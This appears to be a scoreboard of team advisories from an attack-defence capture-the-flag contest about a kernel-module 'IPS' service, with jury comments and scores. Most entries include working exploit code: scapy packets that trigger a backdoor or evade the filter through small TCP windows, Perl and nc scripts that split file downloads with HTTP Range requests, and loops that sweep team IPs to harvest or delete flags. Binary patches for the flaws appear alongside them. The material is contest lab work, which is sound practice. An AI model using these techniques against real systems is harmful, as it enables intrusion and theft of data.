|
IPS Advisories
Service: | IPS |
---|
Text: | There is a backdoor in the kernel module, sending any EGP packet to the server results in /proc/ips/list being chmod'ed to 0777!
.text:08000725 cmp word ptr [edx+66h], 8 ; edx = sk_buff *
.text:0800072A jnz short loc_80007A3
.text:0800072C mov edx, [edx+9Ch] ; edx = transport_header // IPv4 Header
.text:08000732 cmp byte ptr [edx+9], 8 ; ipv4.protocol == EGP?
.text:08000736 jnz short loc_8000743
.text:08000738 mov eax, ds:list_entry
.text:0800073D mov word ptr [eax+0Ch], 777o ; mode = 0777 |
---|
Jury comment: | Good! |
---|
Score: | 2/2 points |
---|
Service: | IPS |
---|
Text: | Patch for RWX bug in ips.ko:
Patch the jnz to jmp to always jump over the 077 chmod: patch 0x78e from 0x75 to 0xeb
│00000780 66 08 75 77 8b 92 9c 00-00 00 80 7a 09 08 eb 0b |f?uw??? ?z????| ▒
│00000790 a1 00 00 00 00 66 c7 40-0c ff 01 8a 42 09 3c 06 |? f?@????B?<?|
To exploit, just send a stupid IP packet:
from scapy.all import *
from sys import argv
pkt = IP(proto = 8, dst = argv[1])
send(pkt)
|
---|
Jury comment: | ok |
---|
Score: | 1/1 point |
---|
Service: | IPS |
---|
Text: | ___________.__ ___________.__
\_ _____/| | __ _____ ___\_ _____/|__| ____ ____ ___________ ______
| __) | | | | \ \/ / | __) | |/ \ / ___\_/ __ \_ __ | ___/
| \ | |__| | /> < | \ | | | | /_/ > ___/| | \|___ \
\___ / |____/|____//__/\_ \ \___ / |__|___| |___ / \___ >__| /____ >
\/ Advisory \/ \/ \/_____/ \/ \/
------------------------------ [[ FluxFingers ]] ------------------------------
--[ Description ]--------------------------------------------------------------
Remote flag disclosure.
The function main_hook searches the packet for flags from flags.txt and
discards the packet if a flag is found in its data (return value 0 -> NF_DROP):
.text:08000774 call find_basic_texts_in_pkg
.text:08000774
.text:08000779 xor edx, edx ; return value
.text:0800077B test eax, eax ; txt found?
.text:0800077D jnz short __returnEdx ; edx: NF_DROP
This check is NOT executed if the IP header checksum matches 0x3255:
.text:08000752 66 81 7A+ cmp word ptr [edx+0Ah], 3255h
.text:08000758 74 49 jz short __returnNF_ALLOW
; else: find_basic_texts_in_pkg
In that case, main_hook returns NF_ALLOW and keeps the packet. If we get the
server to send packets with iphdr.check set to 0x3255 (e.g. by sending many
requests with incrementing Identification fields leading to different checksums),
we can HTTP GET list.py, as the outgoing server responses are not filtered by
its kernel module.
Additionally, we can delete flags from flags.txt once we know its content.
In order to patch the kernel module, we simply kill the check for iphdr.check.
Thus, all packets are scanned for flags and dropped if any are found.
--[ Patch ]--------------------------------------------------------------------
.text:08000758 equals offset 0x7B0
We patch the offset of jz to zero: byte at 0x7B1 to 0x00 (was 0x48).
.text:08000752 cmp word ptr [edx+0Ah], 3255h
.text:08000758 jz short $+2
It does no longer allow any packets with 0x3255 as IP header checksum without
checking their data.
|
---|
Jury comment: | Great! |
---|
Score: | 4/7 points |
---|
Service: | IPS |
---|
Text: | Removing flags in ips
Only first 4 bytes of removed flag are checked
36 ** 4 = 1679616
So we can remove most of flags easily, in time
from itertools import product
import string
alpha = string.ascii_uppercase + string.digits
for f in product(alpha, repeat=4):
for i in range(1,100):
req("http://10.23.%d.3:3255/del.py?text=" + f) |
---|
Jury comment: | True. Waiting for a patch |
---|
Score: | 3/4 points |
---|
Service: | IPS |
---|
Text: | Patch for previous IPS exploit:
binary patch /home/ips/ips.ko, offset 0x4F7:
83 F8 03 -> 83 F8 14
makes it to compare with the right 20 bytes |
---|
Jury comment: | ok |
---|
Score: | 1/4 point |
---|
Service: | IPS |
---|
Text: | flags.txt is openly available via http. move it to some place else and do
cp index.py index.py.orig; sed "s#flags.txt#/path/to/flags.txt#g" < index.py.orig > index.py |
---|
Jury comment: | OK |
---|
Score: | 3/3 points |
---|
Service: | IPS |
---|
Text: | By default there is open access to the file flags.txt - a configuration with a closed vulnerability:
server.modules = (
"mod_cgi",
"mod_access"
)
cgi.assign = (
".py" => "/usr/bin/python",
)
server.document-root = "/home/ips"
server.username = "ips"
server.groupname = "ips"
server.port = 3255
index-file.names = ( "index.py" )
url.access-deny = (".conf",".txt")
include_shell "/usr/share/lighttpd/create-mime.assign.pl" |
---|
Jury comment: | too late. But the sploit wasn't posted yet. |
---|
Score: | 0/3 points |
---|
Service: | IPS |
---|
Text: | Sploit to grab flags.txt:
curl -m 1 -o#1 10.23.[2-100].3:3255/flags.txt | egrep [A-Z]*= * | grep -v xml
Will show all flags captured and will have all live webpages as files in local dir as well.
|
---|
Jury comment: | Ok, but too unreliable |
---|
Score: | 1/4 point |
---|
Service: | IPS |
---|
Text: | Exploit flags.txt vuln
#!/usr/bin/perl
use WWW::Mechanize;
my $ip=shift;
my $mech=WWW::Mechanize->new();
print $mech->get("http://$ip:3255/flags.txt")->content;
Have fun. |
---|
Jury comment: | Too late. This kind of exploit is very unreliable and was sent by another team. |
---|
Score: | 0/4 points |
---|
Service: | IPS |
---|
Text: | ips filters packets with flags -> split flags into several packets by requesting partial content:
echo -e 'GET flags.txt HTTP/1.1\r\nHost: localhost\r\nRange: bytes=0-16\r\n\r\n' | nc $HOST 3255
echo -e 'GET flags.txt HTTP/1.1\r\nHost: localhost\r\nRange: bytes=16-32\r\n\r\n' | nc $HOST 3255
shift range, until the whole file is downloaded |
---|
Jury comment: | Very good!! |
---|
Score: | 3/4 points |
---|
Service: | IPS |
---|
Text: | Exploit for the IPS flags.txt downloading vulnerability:
Create the two files below, change the mode to 755 and run:
./exploit.pl 10.23.X.3
The program exploit.pl downloads a full copy of the flags.txt in 30 bytes parts using HTTP Request Ranges so that it isn't recognized by the filter in the kernel. The program parse.pl puts the 30 bytes parts together and outputs all the flags to STDOUT.
========================================================= File exploit.pl:
#! /usr/bin/perl
use IO::Socket;
my $ip = shift;
my $sock = IO::Socket::INET->new("$ip:3255") or die "Can't connect to $ip:3255";
my $request = "GET /flags.txt HTTP/1.0\r\nRange: bytes=";
for(my $i=0;$i<10000;$i+=30){
$request .= "$i-" . ($i+30) . ",";
}
chop $request;
$request .= "\r\n\r\n";
#print $request;exit;
open PIPE,"| ./parse.pl";
print $sock $request;
while(<$sock>){
s/\r\n/\n/gs;
print PIPE;
}
========================================================= File parse.pl:
#! /usr/bin/perl
my $contents;
my($start,$end,$total);
while(<STDIN>){
# print;
chomp;
if(/^Content-Range:\s*bytes\s*(\d+)\-(\d+)\/(\d+)\s*$/i){
$start = $1;
$end=$2;
$total = $3;
}
if($_ =~ /^\s*$/ and defined $start){
my $buf;
my $numRead = read(STDIN,$buf,$end-$start);
die "Failed to read " unless $numRead == $end-$start;
$contents .= $buf;
}
}
$contents =~ s/\=.*/=/gm;
print $contents,"\n"; |
---|
Jury comment: | Too late |
---|
Score: | 0/4 points |
---|
Service: | IPS |
---|
Text: | ------------------------------ [[ FluxFingers ]] ------------------------------
--[ Description ]--------------------------------------------------------------
Remote kernel module disclosure.
You can download patched kernel modules from other teams (who successfully patched it) as they are in a known
web directory with read access.
--[ Patch ]--------------------------------------------------------------------
Restrict access to the kernel module. |
---|
Jury comment: | ok |
---|
Score: | 1/1 point |
---|
Service: | IPS |
---|
Text: | If file /proc/ips/list we can get flags.
This file can read through the web interface, which is on port 3255.
From URL /list.py |
---|
Jury comment: | The answer from /list.py will be blocked by IPS. Please send a working sploit. |
---|
Score: | 0/5 points |
---|
Service: | IPS |
---|
Text: | Small TCP WIndow size can be abused to circumvent the IPS.
Most teams still allow list.py to print, eventough service is checked via del.py ... we can request list.py with small TCP Window sizes
PATCH
====
add return None to print_list()
EXPLOIT
====
from scapy.all import *
from sys import argv,exit
from random import randint
import re
sport = randint(0xa000, 0xf000)
seq = randint(0, 0xffffff)
pkt = IP(dst = argv[1]) / TCP(sport = sport, dport = 3255, window = 8, seq=seq)
DOC = ''
NEED_SMALL = False
def callback(pkt):
global seq, NEED_SMALL, DOC
if pkt.sprintf('%TCP.dport%') == '??' or int(pkt.sprintf('%TCP.dport%')) != sport:
return
if pkt.sprintf('%TCP.flags%') == 'SA':
seq += 1
data = 'GET /list.py HTTP/1.0\r\n\r\n'
rpkt = IP(dst = argv[1]) / TCP(sport = sport, dport = 3255,
seq = seq, ack = int(pkt.sprintf('%TCP.seq%')) + 1, flags = 'A', window = 64) / data
send(rpkt)
elif pkt.sprintf('%TCP.flags%').find('F') >= 0 or pkt.sprintf('%TCP.flags%').find('R') >= 0:
print DOC[DOC.find('<code>') + 6: DOC.find('</code>')].split('<br>')
exit(0)
elif pkt.sprintf('%TCP.flags%').find('A') >= 0:
if pkt.sprintf('%Raw.load%') == '??':
data = ''
else:
data = eval(pkt.sprintf('%Raw.load%'))
if data.find('Stats') >= 0:
NEED_SMALL = True
DOC += data
rpkt = IP(dst = argv[1]) / TCP(sport = sport, dport = 3255,
seq = int(pkt.sprintf('%TCP.ack%')), ack = int(pkt.sprintf('%TCP.seq%')) + len(data), flags = 'A', window = NEED_SMALL and 30 or 64)
send(rpkt)
callback(sr1(pkt))
sniff(filter = "tcp port 3255", prn=callback)
|
---|
Jury comment: | Great! |
---|
Score: | 5/7 points |
---|
|
|